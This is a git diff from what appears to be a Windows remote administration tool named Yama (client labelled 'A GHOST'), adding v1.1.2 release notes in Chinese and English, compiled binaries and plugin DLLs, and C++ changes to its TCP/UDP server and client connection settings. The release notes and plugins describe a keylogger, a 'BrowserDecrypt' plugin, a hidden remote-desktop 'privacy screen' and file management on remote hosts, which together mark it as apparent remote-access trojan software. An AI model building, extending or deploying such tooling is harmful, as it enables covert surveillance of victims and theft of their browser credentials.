diff --git a/ReadMe.md b/ReadMe.md index 4483e28..35169fc 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -254,6 +254,25 @@ - 改进:新增弹窗以显示主机的详细信息 - 改进客户端稳定性 +**2025.07.07** + +发布 v1.1.2: + +* 修复:键盘记录功能的问题 +* 安全:增强插件的授权机制 +* 修复:释放 `CMachineDlg` 对象时的内存泄漏问题 +* 修复:使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147) +* 新增:添加跳转到授权指南页面的菜单项 +* 插件:新增一个文件管理模块 +* 优化:减少主程序中的冗余代码 +* 修复:在后台数据处理过程中关闭窗口导致的崩溃问题 +* 优化:移除读取注册表时的冗余代码 +* 架构调整:重构 TCP 客户端/服务器代码;重写套接字服务器逻辑 +* 新功能:支持同时监听多个端口 +* 新功能:支持客户端通过 UDP 连接;新增客户端协议选择(TCP/UDP) +* 插件:#145 支持远程画板功能 +* 插件:增加远程桌面隐私屏幕功能 + --- # 6.其他项目 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index e2ff41f..fd3f3ee 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -270,6 +270,26 @@ Modifying and compiling the program yourself can also resolve this issue.* * Improvement: Add a popup window to show details * Improve client stability + +**2025.07.07** + +Release v1.1.2: + +* Fix the problem with the keylogging feature +* Security: Improve the authorization of plugins +* fix: Memory leak when release `CMachineDlg` object +* fix: Showing wrong IP while using `Reverse Proxy` (#147) +* Add a menu redirects to the authorization guide page +* Plugin: Add another file management module +* Improve: Reduce master program redundant code +* fix: Prevent crash when closing window during background data processing +* Improve: Remove redundant code for reading the registry +* layout: Reorganize TCP client/server code; Refactor the socket server code +* feature: Support listening on multiple ports simultaneously +* feature: Support client connections over UDP; Add client protocol option TCP/UDP +* Plugin: #145 Support remote drawing board +* Plugin: Add remote desktop privacy screen feature + --- # 6. Related Projects diff --git a/Releases/v1.1.2/Plugins/BrowserDecrypt.dll b/Releases/v1.1.2/Plugins/BrowserDecrypt.dll new file mode 100644 index 0000000..53cdfbd Binary files /dev/null and b/Releases/v1.1.2/Plugins/BrowserDecrypt.dll differ diff --git a/Releases/v1.1.2/Plugins/DrawingBoard.dll b/Releases/v1.1.2/Plugins/DrawingBoard.dll new file mode 100644 index 0000000..eac4dd6 Binary files /dev/null and b/Releases/v1.1.2/Plugins/DrawingBoard.dll differ diff --git a/Releases/v1.1.2/Plugins/FileManager.dll b/Releases/v1.1.2/Plugins/FileManager.dll new file mode 100644 index 0000000..dae35f9 Binary files /dev/null and b/Releases/v1.1.2/Plugins/FileManager.dll differ diff --git a/Releases/v1.1.2/Plugins/HostManager.dll b/Releases/v1.1.2/Plugins/HostManager.dll new file mode 100644 index 0000000..45c2b04 Binary files /dev/null and b/Releases/v1.1.2/Plugins/HostManager.dll differ diff --git a/Releases/v1.1.2/Plugins/PrivateDesktop.dll b/Releases/v1.1.2/Plugins/PrivateDesktop.dll new file mode 100644 index 0000000..991b400 Binary files /dev/null and b/Releases/v1.1.2/Plugins/PrivateDesktop.dll differ diff --git a/Releases/v1.1.2/Plugins/RemoteChat.dll b/Releases/v1.1.2/Plugins/RemoteChat.dll new file mode 100644 index 0000000..5cfa205 Binary files /dev/null and b/Releases/v1.1.2/Plugins/RemoteChat.dll differ diff --git a/Releases/v1.1.2/Plugins/VirtualDesktop.dll b/Releases/v1.1.2/Plugins/VirtualDesktop.dll new file mode 100644 index 0000000..8c26dc9 Binary files /dev/null and b/Releases/v1.1.2/Plugins/VirtualDesktop.dll differ diff --git a/Releases/v1.1.2/Yama.exe b/Releases/v1.1.2/Yama.exe new file mode 100644 index 0000000..0d98ad1 Binary files /dev/null and b/Releases/v1.1.2/Yama.exe differ diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 2aa6e17..e33e47b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -13,7 +13,7 @@ // Զ̵ַ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, NULL, PROTO_UDP, RUNNING_RANDOM, + FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM, }; // տͻֻ2ȫֱ: g_SETTINGSg_MyAppg_SETTINGSΪg_MyAppijԱ. diff --git a/client/Script.rc b/client/Script.rc index 8b9e1ee..f088c64 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,1,1 + FILEVERSION 1,0,1,2 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.1.1" + VALUE "FileVersion", "1.0.1.2" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index f24c0bd..66a9c16 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -30,7 +30,11 @@ public: BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort); + if (ret1) MessageBox(NULL, CString("TCPʧ: ") + std::to_string(uPort).c_str() + + CString(": ") + std::to_string(ret1).c_str(), "ʾ", MB_ICONINFORMATION); UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort); + if (ret2) MessageBox(NULL, CString("UDPʧ: ") + std::to_string(uPort).c_str() + + CString(": ") + std::to_string(ret2).c_str(), "ʾ", MB_ICONINFORMATION); return (ret1 == 0 || ret2 == 0); } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index ab8478d..e7cb07c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 8dcea39..451afa4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1457,7 +1457,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) //真彩Bar VOID CMy2015RemoteDlg::OnAbout() { - MessageBox("Copyleft (c) FTU 2025" + CString("\n编译日期: ") + __DATE__ + + MessageBox("Copyleft (c) FTU 2019—2025" + CString("\n编译日期: ") + __DATE__ + CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于"); } @@ -1720,7 +1720,7 @@ std::string getDateStr(int daysOffset = 0) { VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { if (isClosed) { - return ContextObject->Destroy(); + return; } unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0); unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen(); @@ -1761,7 +1761,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) resp[80] = 0; ContextObject->Send2Client((LPBYTE)resp, sizeof(resp)); Sleep(20); - ContextObject->Destroy(); break; } case CMD_EXECUTE_DLL: // 请求DLL @@ -1776,7 +1775,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } } Sleep(20); - ContextObject->Destroy(); break; } case COMMAND_PROXY: @@ -1786,7 +1784,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case TOKEN_HEARTBEAT: case 137: UpdateActiveWindow(ContextObject); - ContextObject->Destroy(); break; case SOCKET_DLLLOADER: {// 请求DLL auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); @@ -1810,7 +1807,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) CancelIo((HANDLE)ContextObject->sClientSocket); closesocket(ContextObject->sClientSocket); Sleep(10); - ContextObject->Destroy(); break; } case TOKEN_DRAWING_BOARD: @@ -2668,7 +2664,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) m_pFloatingTip = new CWnd(); int width = res[RES_FILE_PATH].GetLength() * 10; width = min(max(width, 360), 800); - CRect rect(pt.x, pt.y, pt.x + width, pt.y + 60); // 宽度、高度 + CRect rect(pt.x, pt.y, pt.x + width, pt.y + 80); // 宽度、高度 BOOL bOk = m_pFloatingTip->CreateEx( WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 88c74d2..18974bb 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -478,7 +478,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength); if (m_NotifyProc(ContextObject)) - ret = 999; + ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1; break; } @@ -500,7 +500,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP ContextObject->Decode(CompressedBuffer, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength); if (m_NotifyProc(ContextObject)) - ret = 999; + ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1; SAFE_DELETE_ARRAY(CompressedBuffer); continue; } @@ -515,7 +515,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); if (m_NotifyProc(ContextObject)) - ret = 999; + ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1; }else if (usingZstd){ // zlibѹ if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) { @@ -524,7 +524,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); if (m_NotifyProc(ContextObject)) - ret = 999; + ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1; } else { zlibFailed = true; ContextObject->CompressMethod = COMPRESS_UNKNOWN;